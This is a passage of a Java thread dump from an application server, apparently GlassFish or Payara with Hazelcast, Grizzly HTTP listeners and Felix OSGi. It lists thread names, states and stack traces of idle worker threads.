com.hazelcast.spi.impl.operationparker.impl.OperationParkerImpl$ExpirationTask.run(OperationParkerImpl.java:211) + at java.base@21.0.11/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:572) + at java.base@21.0.11/java.util.concurrent.FutureTask.run(FutureTask.java:317) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.blissful_keller.cached.thread-2" #102 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@64c6c605 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"http-thread-pool::http-listener-2(2)" #128 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@3898f913 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:458) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1257) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-thread-pool::http-listener-1(2)" #121 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@5556680 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:458) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1257) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"EventAdminAsyncThread #4" #173 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@32af53a1 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"CM Configuration Updater" #167 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@47e7a602 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingDeque.takeFirst(LinkedBlockingDeque.java:485) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingDeque.take(LinkedBlockingDeque.java:673) + at org.apache.felix.cm.impl.UpdateThread.run(UpdateThread.java:73) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"EventAdminAsyncThread #8" #179 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@32af53a1 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FelixFrameworkWiring" #29 daemon [WAITING] on java.util.ArrayList@1aeb881d + java.lang.Thread.State: WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at java.base@21.0.11/java.lang.Object.wait(Object.java:339) + at org.apache.felix.framework.FrameworkWiringImpl.run(FrameworkWiringImpl.java:169) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"RunLevelControllerThread-1785653510579" #48 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@5afb5ca2 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-listener-2-expirer(1)" #132 daemon [TIMED_WAITING] on java.lang.Object@6b56ecf0 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/java.lang.Object.wait0(Native Method) + at java.base@21.0.11/java.lang.Object.wait(Object.java:366) + at org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable.run(DelayedExecutor.java:148) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"http-thread-pool::http-listener-2(3)" #129 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@3898f913 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:458) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1257) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"hz.blissful_keller.generic-operation.thread-4" #88 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@21cc1f54 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"Scheduled Executor Service" #50 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7a8d48f0 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"hz.blissful_keller.IO.thread-in-0" #104 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.EPoll.wait(Native Method) + at java.base@21.0.11/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:121) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:130) + at java.base@21.0.11/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:142) + at com.hazelcast.internal.networking.nio.NioThread.selectLoop(NioThread.java:292) + at com.hazelcast.internal.networking.nio.NioThread.executeRun(NioThread.java:249) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"http-thread-pool::http-listener-2(4)" #130 daemon [WAITING] on java.util.concurrent.LinkedTransferQueue@3898f913 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:458) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.xfer(LinkedTransferQueue.java:613) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue.take(LinkedTransferQueue.java:1257) + at org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker.getTask(FixedThreadPool.java:78) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.doWork(AbstractThreadPool.java:527) + at org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker.run(AbstractThreadPool.java:515) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"hz.blissful_keller.generic-operation.thread-2" #86 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@21cc1f54 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.blissful_keller.partition-operation.thread-6" #78 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"hz.blissful_keller.IO.BalancerThread" #110 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@73e81386 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:460) + at com.hazelcast.internal.networking.nio.iobalancer.IOBalancerThread.run(IOBalancerThread.java:65) + +"Job Cleanup Service" #55 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@79c543bf + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1797) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@21.0.11/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"hz.blissful_keller.partition-operation.thread-7" #79 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"Common-Cleaner" #67 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2baa07eb + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:269) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1886) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.await(ReferenceQueue.java:71) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove0(ReferenceQueue.java:143) + at java.base@21.0.11/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:218) + at java.base@21.0.11/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"hz.blissful_keller.partition-operation.thread-3" #75 daemon [WAITING] + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at com.hazelcast.internal.util.concurrent.MPSCQueue.takeAll(MPSCQueue.java:229) + at com.hazelcast.internal.util.concurrent.MPSCQueue.take(MPSCQueue.java:151) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationQueueImpl.take(OperationQueueImpl.java:107) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.loop(OperationThread.java:129) + at com.hazelcast.spi.impl.operationexecutor.impl.OperationThread.executeRun(OperationThread.java:115) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"GF Domain XML" #61 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5b4790e1 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:420) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.base@21.0.11/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:572) + at java.base@21.0.11/java.util.concurrent.FutureTask.run(FutureTask.java:317) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"hz.blissful_keller.cached.thread-1" #100 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$Transferer@64c6c605 + java.lang.Thread.State: TIMED_WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:410) + at java.base@21.0.11/java.util.concurrent.LinkedTransferQueue$DualNode.await(LinkedTransferQueue.java:452) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue$Transferer.xferLifo(SynchronousQueue.java:194) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.xfer(SynchronousQueue.java:235) + at java.base@21.0.11/java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:338) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1069) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.executeRun(HazelcastManagedThread.java:76) + at com.hazelcast.internal.util.executor.HazelcastManagedThread.run(HazelcastManagedThread.java:111) + +"GF Domain XML" #59 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1bb5259d + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:420) + at org.jvnet.hk2.config.Transactions$Notifier$1.run(Transactions.java:163) + at java.base@21.0.11/java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:572) + at java.base@21.0.11/java.util.concurrent.FutureTask.run(FutureTask.java:317) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1144) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"RMI TCP Accept-8686" #186 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.Net.accept(Native Method) + at java.base@21.0.11/sun.nio.ch.NioSocketImpl.accept(NioSocketImpl.java:748) + at java.base@21.0.11/java.net.ServerSocket.implAccept(ServerSocket.java:709) + at java.base@21.0.11/java.net.ServerSocket.platformImplAccept(ServerSocket.java:674) + at java.base@21.0.11/java.net.ServerSocket.implAccept(ServerSocket.java:623) + at java.base@21.0.11/sun.security.ssl.SSLServerSocketImpl.accept(SSLServerSocketImpl.java:271) + at java.rmi@21.0.11/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:424) + at java.rmi@21.0.11/sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:388) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"EventAdminAsyncThread #9" #180 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@32af53a1 + java.lang.Thread.State: WAITING + at java.base@21.0.11/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@21.0.11/java.util.concurrent.locks.LockSupport.park(LockSupport.java:371) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:519) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3780) + at java.base@21.0.11/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3725) + at java.base@21.0.11/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1746) + at java.base@21.0.11/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1070) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.base@21.0.11/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:642) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"FileSystemWatchService" #66 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.fs.LinuxWatchService.poll(Native Method) + at java.base@21.0.11/sun.nio.fs.LinuxWatchService$Poller.run(LinuxWatchService.java:307) + at java.base@21.0.11/java.lang.Thread.runWith(Thread.java:1596) + at java.base@21.0.11/java.lang.Thread.run(Thread.java:1583) + +"admin-listener-kernel(1) SelectorRunner" #136 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@21.0.11/sun.nio.ch.EPoll.wait(Native Method) + at 